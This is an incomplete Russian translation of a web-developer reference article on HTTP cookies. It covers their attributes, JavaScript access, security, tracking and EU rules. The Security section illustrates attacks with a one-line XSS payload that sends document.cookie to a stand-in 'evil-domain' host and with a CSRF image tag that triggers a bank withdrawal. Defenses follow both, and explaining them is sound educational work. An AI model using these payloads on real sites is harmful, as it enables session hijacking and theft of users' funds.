Куки HTTP

Перевод не завершен. Пожалуйста, помогите перевести эту статью с английского.

HTTP куки (cookie ) (web куки, куки браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли сервера пришли оба запроса (например, для аутентификации пользователя). Куки запоминают информацию о состоянии для протокола HTTP, который, сам по себе, этого делать не умеет.

Куки используются, главным образом, для:

⦁    Управления сеансом (логины, корзины для виртуальных покупок)
⦁    Персонализации (пользовательские предпочтения)
⦁    Мониторинга (отслеживания поведения пользователя)

До недавнего времени куки принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что куки пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) and IndexedDB.

Чтобы посмотреть сохраненные куки (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

Создание куков

Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок  Set-Cookie Куки, обычно, запоминаются браузером и посылаются в значении заголовка HTTP  Cookie с каждым новым запросом к данному серверу. Можно задать срок действия куки и  ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту  оно отсылается.

Заголовок Set-Cookie  HTTP-отклика используется для отправки куки с сервера на агент пользователя. Простой куки может задаваться так:

Set-Cookie: <имя-куки>=<заголовок-куки>

Сервер дает клиенту указание сохранить куки (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и куки запоминается браузером.

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Теперь, с каждым новым запросом к серверу, при помощи заголовка Cookie браузер будет возвращать серверу все сохраненные ранее куки. 

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Куки сеанса

Простое куки, пример которого приведен выше, представляет собой куки сеанса (session cookie) - такие куки удаляются при закрытии клиента, то есть существует только на протяжении текущего сеанса. Атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, куки сеансо может храниться постоянно, как если бы браузер никогда не закрывался.

Постоянные куки

Постоянные куки ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут Expires) или после определенного интервала времени (атрибут Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure ("безопасные") и HttpOnly куки

"Безопасные" (secure) куки отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в куках, поскольку сам механизм куков весьма уязвимв отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 and Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом secure.

Куки HTTPonly не доступны из JavaScript через свойства Document.cookie, и через XMLHttpRequest и Request API, что помогает избежать межсайтового скриптинга (XSS). Устанавливайте этот флаг для тех куков, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Область видимости куков

Директивы Domain  и Path определяют область видимости куки, то есть те URLs, к которым куки могут отсылаться.
Атрибут Domain указывает хосты, к которым отсылаться куки. Если он не задан, то по умолчанию берется доменная часть документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.

Например, если задано Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie.  Символ %x2F ("/") интерпретируется как разделитель разделов, подразделы также включаются.

Если задано Path=/docs, то подходят и такие пути, как:

  • "/docs",
  • "/docs/Web/",
  • "/docs/Web/HTTP"

Куки SameSite

Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что обеспечивает некоторую защиту от межсайтовых подделок запроса (CSRF). Куки SameSite находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.

Доступ из JavaScript посредством Document.cookies

Куки можно создавать при помощи свойства Document.cookie. Если флаг HttpOnly не установлен, то и доступ к ним можно получить черз JavaScript.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Безопасность

Важная информация никогда не должна храниться или передаваться в куках HTTP, поскольку этот механизм сам по себе небезопасен.

Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для XSS.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..

Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

В Wikipedia приведен хороший пример CSRF. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого изпользуется ряд методов:

  • Как и при XSS, важна фильтрация входящей информации.
  • Для любой важной операции должно запрашиваться подтверждение.
  • Куки, используемые для ответственных операций, должны иметь короткий срок действия.
  • Дополнительную информацию можно получить в пользовательской инструкции по предотвращению OWASP CSRF.

Отслеживание и частные данные

Сторонние (Third-party) куки

Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют куками "куками первого лица" (first-party cookies). Если это другой домен, их называют "сторонними куками" (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. Примеры можно посмотреть в  types of cookies used by Google (типы куков, используемые в Coogle). Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

 

Не отслеживать (Do-Not-Track)

Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок DNT, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок  DNT.

Куки EU

Правила по использованию куков в Евросоюзе (EU) определены в Директиве (Directive) 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие в 25 мая 2011. Это не закон, а всего лишь рекомендация странам членам ЕС принять законы, соответствующие ее требованиям. В каждой стране на этот счет могут быть свои законы.

Согласно этой директиве для хранения или извлечения информации с компьтера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента ее появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

Подробнее об этом можно прочитать в соответствующем разделе Википедии ( Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран..

Куки-зомби и "вечные" куки

Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ ( Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.

Читайте также

Метки документа и участники

 Внесли вклад в эту страницу: mgalkina
 Обновлялась последний раз: mgalkina,